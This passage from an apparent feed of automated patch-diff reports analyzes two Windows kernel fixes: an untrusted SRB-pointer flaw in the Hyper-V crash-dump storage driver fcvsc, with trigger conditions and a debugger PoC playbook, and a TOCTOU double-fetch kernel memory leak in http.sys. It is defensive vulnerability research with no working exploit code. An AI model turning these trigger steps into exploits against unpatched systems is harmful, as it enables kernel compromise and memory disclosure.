class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;slot&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C000123D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;loc_1C0001292&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;fast&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001242&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SRB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C000124E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;CrashVscSrbCompletion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Sense-data length (added cap over an existing bound)&lt;/h3&gt;
&lt;p&gt;The unpatched copy is already gated: it only runs when the SRB's own sense length (&lt;code&gt;cl&lt;/code&gt; = &lt;code&gt;SRB+0x0b&lt;/code&gt;) is at least the host-provided length (&lt;code&gt;al&lt;/code&gt; = &lt;code&gt;packet+0x15&lt;/code&gt;), and it copies that host value.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; UNPATCHED CrashVscSrbCompletion (fixed-format sense branch)&lt;/span&gt;
00000001C00015A3  mov     al, [r8+15h]              ; host sense length (packet+0x15)
00000001C00015A7  cmp     cl, al                    ; cl = SRB+0x0b (SenseInfoBufferLength)
00000001C00015A9  jb      short loc_1C00015C1       ; skip copy if SRB length &amp;lt; host length
00000001C00015AB  mov     rcx, [rsi+20h]            ; dest = SRB+0x20 sense buffer
00000001C00015AF  mov     rdx, rbx                  ; src = packet+0x1c
00000001C00015B2  movzx   r8d, al                   ; size = host length (&amp;lt;= cl)
00000001C00015B6  call    memmove
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patch Change:&lt;/strong&gt; the patched routine adds an upfront hard cap that fail-fasts before any sense processing, keeping the same &lt;code&gt;SRB+0x0b &amp;gt;= host_len&lt;/code&gt; gate afterwards:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; PATCHED CrashVscSrbCompletion&lt;/span&gt;
00000001C0001542  mov     bpl, [r8+15h]             ; host sense length
00000001C0001546  cmp     bpl, 14h
00000001C000154A  jbe     short loc_1C0001553       ; ok if &amp;lt;= 0x14
00000001C000154C  mov     ecx, 3Ah
00000001C0001551  int     29h                       ; RtlFailFast otherwise
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;StorChannelCopyPacketDataToSrb&lt;/code&gt; carries the identical existing gate (&lt;code&gt;0x1C0003049: mov al,[rdi+15h]; cmp dl,al; jb skip&lt;/code&gt;) and gains the same &lt;code&gt;&amp;gt; 0x14&lt;/code&gt; fail-fast (&lt;code&gt;0x1C0003025: cmp bpl, 14h; ja fail-fast&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To exercise the untrusted-pointer flaw (Finding 1) as a malicious Hyper-V host:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ensure the guest crash-dump storage client (&lt;code&gt;fcvsc&lt;/code&gt;) is loaded and its VMBus channel is established.&lt;/li&gt;
&lt;li&gt;Wait for the guest to issue an SRB via &lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt;; in the unpatched build the transaction ID it sends is the raw kernel SRB pointer.&lt;/li&gt;
&lt;li&gt;Return a completion packet of type 3 whose transaction-ID field (&lt;code&gt;arg_10&lt;/code&gt;) is an attacker-chosen value instead of the original pointer, and whose size is at least &lt;code&gt;0x40&lt;/code&gt; bytes.&lt;/li&gt;
&lt;li&gt;On receipt, &lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; passes that value directly to &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; as the SRB pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; writes &lt;code&gt;packet+0x18&lt;/code&gt; to &lt;code&gt;ptr+0x10&lt;/code&gt;, &lt;code&gt;packet+0x0e&lt;/code&gt; to &lt;code&gt;ptr+0x03&lt;/code&gt;, &lt;code&gt;packet+0x0f&lt;/code&gt; to &lt;code&gt;ptr+0x04&lt;/code&gt;, and (on the sense branch) reads &lt;code&gt;ptr+0x0b&lt;/code&gt;/&lt;code&gt;ptr+0x20&lt;/code&gt; and copies into the buffer pointed to by &lt;code&gt;ptr+0x20&lt;/code&gt;. With a chosen pointer value this is a controlled kernel write in the guest.&lt;/li&gt;
&lt;li&gt;Observable effect on an invalid pointer: a guest bugcheck (for example &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;) when the pointer is dereferenced. With a valid attacker-chosen address, the write occurs silently.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Provided Primitive (Finding 1):&lt;/strong&gt; A malicious host controls the 64-bit value that the guest kernel uses as an SRB pointer. Through &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; this yields writes of host-derived bytes to attacker-chosen offsets (&lt;code&gt;+0x03&lt;/code&gt;, &lt;code&gt;+0x04&lt;/code&gt;, &lt;code&gt;+0x10&lt;/code&gt;) of an attacker-chosen base, plus a copy into the buffer whose pointer is read from &lt;code&gt;base+0x20&lt;/code&gt;. That is a host-to-guest kernel write primitive with host-chosen target.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; The value flows from the VMBus completion callback (&lt;code&gt;CrashVscHwInterrupt&lt;/code&gt;) with no bounds check in the unpatched build. It requires the host to be malicious or compromised; the attack direction is host-to-guest.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constraints:&lt;/strong&gt; The primitive is gated by the packet-type check (type 3) and the field layout that &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; reads. The report does not assert a specific full-chain kernel code-execution technique for this build; the demonstrable, binary-supported primitive is the controlled pointer write described above.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To validate Finding 1 on an unpatched target VM with a kernel debugger:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
  &lt;code&gt;text
  bp fcvsc_unpatched!CrashVscHwInterrupt
  bp fcvsc_unpatched!CrashVscSrbCompletion&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; after the receive call returns: &lt;code&gt;[rbp+arg_8]&lt;/code&gt; is the packet type (3 = SRB completion) and &lt;code&gt;[rbp+arg_10]&lt;/code&gt; is the host-returned transaction ID (a raw SRB pointer in the unpatched build).&lt;/li&gt;
&lt;li&gt;At the call site &lt;code&gt;0x1C00011D1&lt;/code&gt;: &lt;code&gt;rdx&lt;/code&gt; is the value being passed as the SRB pointer — an attacker fully controls it as the host.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; entry (&lt;code&gt;0x1C0001420&lt;/code&gt;): &lt;code&gt;rcx&lt;/code&gt; = adapter, &lt;code&gt;rdx&lt;/code&gt; = the SRB pointer (host-controlled in the unpatched build), &lt;code&gt;r8&lt;/code&gt; = received packet. &lt;code&gt;db r8+15 L1&lt;/code&gt; reads the sense-length byte; the destination pointer is read from &lt;code&gt;rdx+0x20&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Instructions/Offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00012F2&lt;/code&gt; (&lt;code&gt;mov r8, rbp&lt;/code&gt;): the raw SRB pointer is sent as the transaction ID.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00011C6&lt;/code&gt; (&lt;code&gt;mov rdx, [rbp+arg_10]&lt;/code&gt;): the host value is loaded as the SRB pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00015B6&lt;/code&gt; (&lt;code&gt;call memmove&lt;/code&gt;): the sense copy, bounded by &lt;code&gt;SRB+0x0b&lt;/code&gt;; note the destination &lt;code&gt;rdx+0x20&lt;/code&gt; is itself read from the host-controlled pointer in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt; From the host side, after the guest sends an SRB, return a type-3 completion whose transaction-ID field is an attacker-chosen value with packet size &lt;code&gt;&amp;gt;= 0x40&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt; With an unmapped pointer, an immediate fault/bugcheck when &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; writes through &lt;code&gt;rdx&lt;/code&gt;. With a valid attacker-chosen address, the guest kernel memory at that address is modified without a crash.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt;&lt;/strong&gt;: Replaced raw-pointer transaction IDs with an index into a &lt;code&gt;0x3e8&lt;/code&gt;-slot table at &lt;code&gt;adapter+0x18&lt;/code&gt;; sends &lt;code&gt;slot+2&lt;/code&gt; instead of the pointer; clears the slot on send failure. Also computes transfer-length flags from the SRB direction bits and passes them as a new argument. Security-relevant (part of Finding 1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscHwInterrupt&lt;/code&gt;&lt;/strong&gt;: Added a packet-size check (&lt;code&gt;&amp;gt;= 0x40&lt;/code&gt;), bounds check on the returned index (&lt;code&gt;(index-2) &amp;lt;= 0x3e7&lt;/code&gt;), table lookup of the real SRB pointer, slot clearing, and SRB-field validation before completion. Security-relevant (Finding 1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscSrbCompletion&lt;/code&gt;&lt;/strong&gt;: Added an upfront hard cap (&lt;code&gt;host_sense_len &amp;lt;= 0x14&lt;/code&gt;, else fail-fast) over the existing &lt;code&gt;SenseInfoBufferLength (SRB+0x0b) &amp;gt;= host_len&lt;/code&gt; gate. Defense in depth (Finding 2). Also the sink for the Finding 1 pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;StorChannelCopyPacketDataToSrb&lt;/code&gt;&lt;/strong&gt;: Added the same &lt;code&gt;&amp;lt;= 0x14&lt;/code&gt; sense-length cap and an SRB data-length capacity check (&lt;code&gt;SRB+0x10 &amp;gt;= value&lt;/code&gt;, else fail-fast) over the existing sense-length gate. Defense in depth (Finding 2). In this path the SRB is a legitimate guest object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;StorChannelKmclPacketCompletionRoutine&lt;/code&gt;&lt;/strong&gt;: Added validation that a success completion (&lt;code&gt;status &amp;gt;= 0&lt;/code&gt;) has a non-NULL buffer of length &lt;code&gt;&amp;gt;= 0x30&lt;/code&gt; before use; now reads a length argument the unpatched build ignored. Defense in depth (Finding 4).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;StorChannelEstablishCommunications&lt;/code&gt;&lt;/strong&gt;: Added &lt;code&gt;(ring_size - 1) &amp;lt;= 0x7fffff&lt;/code&gt; validation before storing the host size at &lt;code&gt;context+0x54&lt;/code&gt;; added a bounce-buffer allocation and &lt;code&gt;__security_check_cookie&lt;/code&gt;. Defense in depth (Finding 3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;StorChannelSendSrbRequest&lt;/code&gt;&lt;/strong&gt;: Changed completion-context layout and added transfer-direction flags passed to the send call. Behavioral refactor, not security-relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscEstablishCommunications&lt;/code&gt;&lt;/strong&gt;: Added the same &lt;code&gt;(ring_size - 1) &amp;lt;= 0x7fffff&lt;/code&gt; validation before storing the host size. Defense in depth (Finding 3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscSendPacketSync&lt;/code&gt;&lt;/strong&gt;: Added a 7th argument (&lt;code&gt;0&lt;/code&gt;) to match the updated send signature; converted a silent unexpected-packet return into a fail-fast. Hardening/behavioral.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VscStartIO&lt;/code&gt;&lt;/strong&gt;: Caps the maximum transfer length at &lt;code&gt;0x8000&lt;/code&gt; (&lt;code&gt;[rsi+0x50]&lt;/code&gt; clamped) and changes an inquiry-response word at &lt;code&gt;[rsi+0x6a]&lt;/code&gt; from &lt;code&gt;0x8000&lt;/code&gt; to &lt;code&gt;0x8003&lt;/code&gt;. Behavioral/hardening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VscGetCrashInterfaceWorker&lt;/code&gt;&lt;/strong&gt;: Changed the &lt;code&gt;IoBuildDeviceIoControlRequest&lt;/code&gt; input length from &lt;code&gt;8&lt;/code&gt; to &lt;code&gt;0x10&lt;/code&gt;, initialized the added input fields, and added &lt;code&gt;__security_check_cookie&lt;/code&gt;. Internal IOCTL correctness (Finding 5).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashVscHwFindAdapter&lt;/code&gt;&lt;/strong&gt;: Added a &lt;code&gt;memset&lt;/code&gt; that zero-initializes the new table region at &lt;code&gt;adapter+0x18&lt;/code&gt; (&lt;code&gt;0x1f40&lt;/code&gt; bytes), and changed the configuration word at &lt;code&gt;adapter-config+0x59&lt;/code&gt; from &lt;code&gt;0x100&lt;/code&gt; to &lt;code&gt;0x103&lt;/code&gt;. Infrastructure for Finding 1's table; not itself a vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were no added or removed functions between the patched and unpatched binaries. All changes were implemented within existing function bodies.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for Finding 1: the unpatched send path uses the raw SRB pointer as the transaction ID and the ISR dereferences the host-echoed value with no validation; the patch introduces a bounded index-table indirection. The sense-length, ring-buffer, completion-structure, and IOCTL changes are confirmed in the binaries and are correctly characterized as defense-in-depth / correctness hardening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; The threat model is a malicious or compromised Hyper-V host attacking a guest. The reverse direction is not applicable, since a guest cannot spoof host VMBus responses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope note:&lt;/strong&gt; Finding 2's sense-data copy is bounded in both builds by the SRB's own &lt;code&gt;SenseInfoBufferLength&lt;/code&gt; field (a matched buffer/length pair); the added &lt;code&gt;&amp;lt;= 0x14&lt;/code&gt; cap does not, by itself, close an otherwise-reachable overflow. Where the destination and length become attacker-influenced in the unpatched crash path, it is because of Finding 1 (the SRB pointer itself is host-controlled).&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — TOCTOU double-fetch leading to kernel memory disclosure (CWE-367, CWE-200) in UlGenerateTrailers fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_991f2522-http-report-20260629-000936.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_991f2522-http-report-20260629-000936.html</id><summary type="html">&lt;p&gt;KB5087420&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9921&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 3587 matched functions, 3 changed functions, 3584 identical functions, and 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch eliminates a Time-of-Check to Time-of-Use (TOCTOU) double-fetch vulnerability in HTTP trailer generation (&lt;code&gt;UlGenerateTrailers&lt;/code&gt;) that allows an attacker to swap a validated user-mode pointer for a kernel-mode address, resulting in arbitrary kernel memory disclosure.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; TOCTOU Race Condition / Double-Fetch (CWE-367) leading to Arbitrary Kernel Memory Disclosure (CWE-200).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;UlGenerateTrailers (sub_1C000CF94)&lt;/code&gt; (trailer array iteration and serialization).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The vulnerable function, &lt;code&gt;UlGenerateTrailers (sub_1C000CF94)&lt;/code&gt;, serializes an array of HTTP trailers (headers emitted after a chunked response body) into an output buffer. The trailer array resides in user-mode memory. For each 24-byte entry, the function processes two data pointers (at offsets &lt;code&gt;+0x8&lt;/code&gt; and &lt;code&gt;+0x10&lt;/code&gt;). &lt;/p&gt;
&lt;p&gt;Depending on the Known Issue Rollback (KIR) feature flag &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;, the unpatched binary can take a vulnerable code path (Path A, taken when the flag is &lt;code&gt;0&lt;/code&gt;). In Path A, the function reads the data pointer from the user-mode array and validates it using &lt;code&gt;UlProbeAnsiString&lt;/code&gt; to ensure it points to a valid user-mode string. However, immediately before copying the data via &lt;code&gt;memmove&lt;/code&gt;, the function &lt;strong&gt;re-reads the data pointer directly from the user-mode trailer array&lt;/strong&gt; instead of using the previously validated pointer. &lt;/p&gt;
&lt;p&gt;Because a user-mode thread can concurrently modify the contents of its own memory, an attacker can run a racing thread that continuously flips the data pointer between a valid user-mode address (to pass the &lt;code&gt;UlProbeAnsiString&lt;/code&gt; check) and a target kernel-mode address. If the swap occurs in the narrow window between the probe and the &lt;code&gt;memmove&lt;/code&gt;, the kernel will copy data from the attacker-supplied kernel address into the HTTP response output buffer, disclosing kernel memory to user mode. The patch captures the pointer once into a stack slot and reuses that validated value for the &lt;code&gt;memmove&lt;/code&gt;, and removes the KIR flag branch so only the capture-once path remains.&lt;/p&gt;
&lt;h3&gt;Attack Surface &amp;amp; Data Flow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;An attacker initiates an HTTP Server API operation from user mode (e.g., &lt;code&gt;HttpSendHttpResponse&lt;/code&gt; with response trailers), triggering an &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; syscall to &lt;code&gt;\Device\Http\ReqQueue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The kernel IOCTL dispatcher routes the request to HTTP.sys response processing functions (&lt;code&gt;UlCaptureHttpResponse (sub_1C00DDA70)&lt;/code&gt; / &lt;code&gt;sub_1c00ddff7&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The response preparation path (&lt;code&gt;UlpPrepareHttpResponse (sub_1C00DE140)&lt;/code&gt;) prepares the output buffer and calls the vulnerable function &lt;code&gt;UlGenerateTrailers (sub_1C000CF94)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlGenerateTrailers (sub_1C000CF94)&lt;/code&gt; iterates over the user-supplied trailer array, triggering the TOCTOU double-fetch flaw on the trailer data pointers.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;The core vulnerability lies in trusting user-mode memory across two consecutive reads. The patch ensures a single fetch (capture-once) pattern.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED LOGIC (UlGenerateTrailers, Path A) ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlGenerateTrailers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// FIRST FETCH: read pointer for validation, saved to stack (Src)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Vulnerable Path A&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// Validate the originally fetched pointer&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// SECOND FETCH: re-read pointer directly from user-mode memory&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;malicious_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// TOCTOU!&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// Copies data using the unvalidated re-read pointer&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;malicious_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// Path B (flag != 0)&lt;/span&gt;
